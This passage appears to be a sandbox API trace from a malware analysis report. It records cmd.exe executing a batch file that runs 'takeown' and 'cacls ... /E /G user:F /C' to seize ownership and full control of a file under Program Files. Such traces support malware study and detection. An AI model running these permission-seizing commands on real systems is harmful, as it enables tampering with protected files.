lpDistanceToMoveHigh=0x0) returned 0x20 [0126.040] GetProcessHeap () returned 0x570000 [0126.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x588a78 [0126.040] GetProcessHeap () returned 0x570000 [0126.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4008) returned 0x594ab0 [0126.040] GetProcessHeap () returned 0x570000 [0126.040] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1a) returned 0x5877c8 [0126.040] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0126.040] GetProcessHeap () returned 0x570000 [0126.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5877c8 | out: hHeap=0x570000) returned 1 [0126.040] GetProcessHeap () returned 0x570000 [0126.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x594ab0 | out: hHeap=0x570000) returned 1 [0126.040] GetProcessHeap () returned 0x570000 [0126.040] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x588a78 | out: hHeap=0x570000) returned 1 [0126.041] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0126.041] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0126.041] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0126.041] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0126.041] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0126.041] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0126.041] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0126.041] GetProcessHeap () returned 0x570000 [0126.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x58) returned 0x571240 [0126.041] GetProcessHeap () returned 0x570000 [0126.041] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x14) returned 0x5712a0 [0126.043] GetProcessHeap () returned 0x570000 [0126.043] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xbc) returned 0x586180 [0126.043] _tell (_FileHandle=3) returned 32 [0126.043] _close (_FileHandle=3) returned 0 [0126.044] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28edf4 | out: _Buffer="\r\n") returned 2 [0126.044] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.044] GetFileType (hFile=0x7) returned 0x2 [0126.044] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0126.044] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28edb4 | out: lpMode=0x28edb4) returned 1 [0126.045] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.045] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28ede0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28ede0*=0x2) returned 1 [0126.045] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0126.045] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0126.045] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x28edf0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0126.045] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x28edf0 | out: _Buffer=">") returned 1 [0126.046] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.046] GetFileType (hFile=0x7) returned 0x2 [0126.046] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0126.046] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28edb8 | out: lpMode=0x28edb8) returned 1 [0126.046] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.046] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x28ede4, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x28ede4*=0x26) returned 1 [0126.047] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.047] GetFileType (hFile=0x7) returned 0x2 [0126.047] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0126.047] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f03c | out: lpMode=0x28f03c) returned 1 [0126.048] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.048] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x5712a8*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x28f068, lpReserved=0x0 | out: lpBuffer=0x5712a8*, lpNumberOfCharsWritten=0x28f068*=0x5) returned 1 [0126.048] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x28f074 | out: _Buffer=" \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 90 [0126.048] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.048] GetFileType (hFile=0x7) returned 0x2 [0126.069] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0126.069] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f034 | out: lpMode=0x28f034) returned 1 [0126.069] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.069] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x5a, lpNumberOfCharsWritten=0x28f060, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f060*=0x5a) returned 1 [0126.070] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28f094 | out: _Buffer="\r\n") returned 2 [0126.070] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.070] GetFileType (hFile=0x7) returned 0x2 [0126.070] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0126.070] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28f054 | out: lpMode=0x28f054) returned 1 [0126.070] _get_osfhandle (_FileHandle=1) returned 0x7 [0126.070] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28f080, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28f080*=0x2) returned 1 [0126.071] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0126.071] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0126.071] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0126.071] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0126.071] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0126.071] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0126.071] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0126.071] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0126.071] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0126.071] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0126.071] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0126.071] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0126.071] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0126.071] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0126.071] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0126.071] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0126.071] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0126.071] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0126.071] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0126.071] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0126.071] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0126.071] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0126.071] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0126.071] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0126.071] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0126.071] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0126.071] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0126.071] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0126.071] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0126.071] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0126.071] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0126.071] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0126.071] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0126.072] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0126.072] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0126.072] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0126.072] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0126.072] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0126.072] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0126.072] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0126.072] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0126.072] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0126.072] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0126.072] GetProcessHeap () returned 0x570000 [0126.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x418) returned 0x586248 [0126.072] SetErrorMode (uMode=0x0) returned 0x0 [0126.072] SetErrorMode (uMode=0x1) returned 0x0 [0126.072] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x586250, lpFilePart=0x28ee38 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28ee38*="Desktop") returned 0x25 [0126.072] SetErrorMode (uMode=0x0) returned 0x1 [0126.072] GetProcessHeap () returned 0x570000 [0126.072] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x586248, Size=0x60) returned 0x586248 [0126.072] GetProcessHeap () returned 0x570000 [0126.072] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x586248) returned 0x60 [0126.072] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0126.072] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0126.073] GetProcessHeap () returned 0x570000 [0126.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x120) returned 0x5862b0 [0126.073] GetProcessHeap () returned 0x570000 [0126.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x238) returned 0x5863d8 [0126.075] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0126.075] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0126.075] GetLastError () returned 0x2 [0126.075] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0126.075] GetLastError () returned 0x2 [0126.076] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0126.076] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0x586588 [0126.076] GetProcessHeap () returned 0x570000 [0126.076] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x5855d8, Size=0x4) returned 0x5855d8 [0126.076] FindClose (in: hFindFile=0x586588 | out: hFindFile=0x586588) returned 1 [0126.076] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0xffffffff [0126.077] GetLastError () returned 0x2 [0126.077] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x28ebb4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ebb4) returned 0x586588 [0126.077] FindClose (in: hFindFile=0x586588 | out: hFindFile=0x586588) returned 1 [0126.077] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0126.077] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0126.077] GetConsoleTitleW (in: lpConsoleTitle=0x28ec04, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.078] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x586878, lpFilePart=0x28e724 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28e724*="Desktop") returned 0x25 [0126.078] SetErrorMode (uMode=0x0) returned 0x1 [0126.078] GetProcessHeap () returned 0x570000 [0126.078] RtlReAllocateHeap (Heap=0x570000, Flags=0x0, Ptr=0x586870, Size=0x60) returned 0x586870 [0126.078] GetProcessHeap () returned 0x570000 [0126.078] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x586870) returned 0x60 [0126.078] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0126.078] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0126.078] GetProcessHeap () returned 0x570000 [0126.078] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x120) returned 0x5868d8 [0126.078] GetProcessHeap () returned 0x570000 [0126.078] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x238) returned 0x586a00 [0126.078] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0126.078] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x28e4a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e4a0) returned 0xffffffff [0126.078] GetLastError () returned 0x2 [0126.079] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cacls", fInfoLevelId=0x1, lpFindFileData=0x28e4a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e4a0) returned 0xffffffff [0126.079] GetLastError () returned 0x2 [0126.079] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0126.079] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.*", fInfoLevelId=0x1, lpFindFileData=0x28e4a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e4a0) returned 0x586bb0 [0126.079] FindClose (in: hFindFile=0x586bb0 | out: hFindFile=0x586bb0) returned 1 [0126.080] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.COM", fInfoLevelId=0x1, lpFindFileData=0x28e4a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e4a0) returned 0xffffffff [0126.080] GetLastError () returned 0x2 [0126.080] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cacls.EXE", fInfoLevelId=0x1, lpFindFileData=0x28e4a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28e4a0) returned 0x586bb0 [0126.080] FindClose (in: hFindFile=0x586bb0 | out: hFindFile=0x586bb0) returned 1 [0126.080] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0126.080] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0126.080] GetConsoleTitleW (in: lpConsoleTitle=0x28e998, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0126.080] InitializeProcThreadAttributeList (in: lpAttributeList=0x28e820, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28e8e8 | out: lpAttributeList=0x28e820, lpSize=0x28e8e8) returned 1 [0126.080] UpdateProcThreadAttribute (in: lpAttributeList=0x28e820, dwFlags=0x0, Attribute=0x60001, lpValue=0x28e8e0, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28e820, lpPreviousValue=0x0) returned 1 [0126.080] GetStartupInfoW (in: lpStartupInfo=0x28e7dc | out: lpStartupInfo=0x28e7dc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0126.081] lstrcmpW (lpString1="\\cacls.exe", lpString2="\\XCOPY.EXE") returned -1 [0126.084] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cacls.exe", lpCommandLine="cacls \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x28e87c*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="cacls \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28e8c8 | out: lpCommandLine="cacls \"C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C", lpProcessInformation=0x28e8c8*(hProcess=0x74, hThread=0x78, dwProcessId=0x8bc, dwThreadId=0xc0c)) returned 1 [0126.097] CloseHandle (hObject=0x78) returned 1 [0126.097] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0126.097] GetProcessHeap () returned 0x570000 [0126.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x587f38 | out: hHeap=0x570000) returned 1 [0126.097] GetEnvironmentStringsW () returned 0x587f38* [0126.097] GetProcessHeap () returned 0x570000 [0126.097] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb36) returned 0x588a78 [0126.097] FreeEnvironmentStringsW (penv=0x587f38) returned 1 [0126.097] WaitForSingleObject (hHandle=0x74, dwMilliseconds=0xffffffff) returned 0x0 [0128.218] GetExitCodeProcess (in: hProcess=0x74, lpExitCode=0x28e7bc | out: lpExitCode=0x28e7bc*=0x1f57) returned 1 [0128.218] CloseHandle (hObject=0x74) returned 1 [0128.218] _vsnwprintf (in: _Buffer=0x28e904, _BufferCount=0x13, _Format="%08X", _ArgList=0x28e7c8 | out: _Buffer="00001F57") returned 8 [0128.219] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00001F57") returned 1 [0128.219] GetProcessHeap () returned 0x570000 [0128.219] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x588a78 | out: hHeap=0x570000) returned 1 [0128.219] GetEnvironmentStringsW () returned 0x587f38* [0128.219] GetProcessHeap () returned 0x570000 [0128.219] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb5c) returned 0x58a120 [0128.219] FreeEnvironmentStringsW (penv=0x587f38) returned 1 [0128.219] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0128.219] GetProcessHeap () returned 0x570000 [0128.219] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58a120 | out: hHeap=0x570000) returned 1 [0128.219] GetEnvironmentStringsW () returned 0x587f38* [0128.219] GetProcessHeap () returned 0x570000 [0128.219] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb5c) returned 0x58a120 [0128.219] FreeEnvironmentStringsW (penv=0x587f38) returned 1 [0128.219] GetProcessHeap () returned 0x570000 [0128.219] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x570db8 | out: hHeap=0x570000) returned 1 [0128.219] DeleteProcThreadAttributeList (in: lpAttributeList=0x28e820 | out: lpAttributeList=0x28e820) [0128.219] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.219] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0128.220] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.220] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0128.220] _get_osfhandle (_FileHandle=0) returned 0x3 [0128.220] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0128.220] SetConsoleInputExeNameW () returned 0x1 [0128.220] GetConsoleOutputCP () returned 0x1b5 [0128.221] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0128.221] SetThreadUILanguage (LangId=0x0) returned 0x409 [0128.221] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x28f03c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0128.222] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0128.222] _get_osfhandle (_FileHandle=3) returned 0x74 [0128.222] SetFilePointer (in: hFile=0x74, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586b30 | out: hHeap=0x570000) returned 1 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586a00 | out: hHeap=0x570000) returned 1 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5868d8 | out: hHeap=0x570000) returned 1 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586870 | out: hHeap=0x570000) returned 1 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5867a0 | out: hHeap=0x570000) returned 1 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586588 | out: hHeap=0x570000) returned 1 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586508 | out: hHeap=0x570000) returned 1 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5863d8 | out: hHeap=0x570000) returned 1 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5862b0 | out: hHeap=0x570000) returned 1 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586248 | out: hHeap=0x570000) returned 1 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x586180 | out: hHeap=0x570000) returned 1 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5712a0 | out: hHeap=0x570000) returned 1 [0128.222] GetProcessHeap () returned 0x570000 [0128.222] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x570000) returned 1 [0128.223] _get_osfhandle (_FileHandle=3) returned 0x74 [0128.223] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0128.223] ReadFile (in: hFile=0x74, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x28f020, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x28f020*=0xc2, lpOverlapped=0x0) returned 1 [0128.223] SetFilePointer (in: hFile=0x74, lDistanceToMove=47, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0128.223] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=15, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="takeown /F %1\r\n%USERNAME%:F /C\r\n") returned 15 [0128.224] _get_osfhandle (_FileHandle=3) returned 0x74 [0128.224] GetFileType (hFile=0x74) returned 0x1 [0128.224] _get_osfhandle (_FileHandle=3) returned 0x74 [0128.224] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2f [0128.224] GetProcessHeap () returned 0x570000 [0128.224] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x400a) returned 0x594ab0 [0128.224] GetProcessHeap () returned 0x570000 [0128.224] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x594ab0 | out: hHeap=0x570000) returned 1 [0128.226] _tell (_FileHandle=3) returned 47 [0128.226] _close (_FileHandle=3) returned 0 [0128.226] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28edf4 | out: _Buffer="\r\n") returned 2 [0128.226] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.226] GetFileType (hFile=0x7) returned 0x2 [0128.227] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.227] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28edb4 | out: lpMode=0x28edb4) returned 1 [0128.227] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.227] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x28ede0, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x28ede0*=0x2) returned 1 [0128.228] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0128.229] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0128.229] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x28edf0 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0128.229] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x28edf0 | out: _Buffer=">") returned 1 [0128.229] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.229] GetFileType (hFile=0x7) returned 0x2 [0128.229] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0128.229] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x28edb8 | out: lpMode=0x28edb8) returned 1 [0128.229] _get_osfhandle (_FileHandle=1) returned 0x7 [0128.230] WriteConsoleW (in: 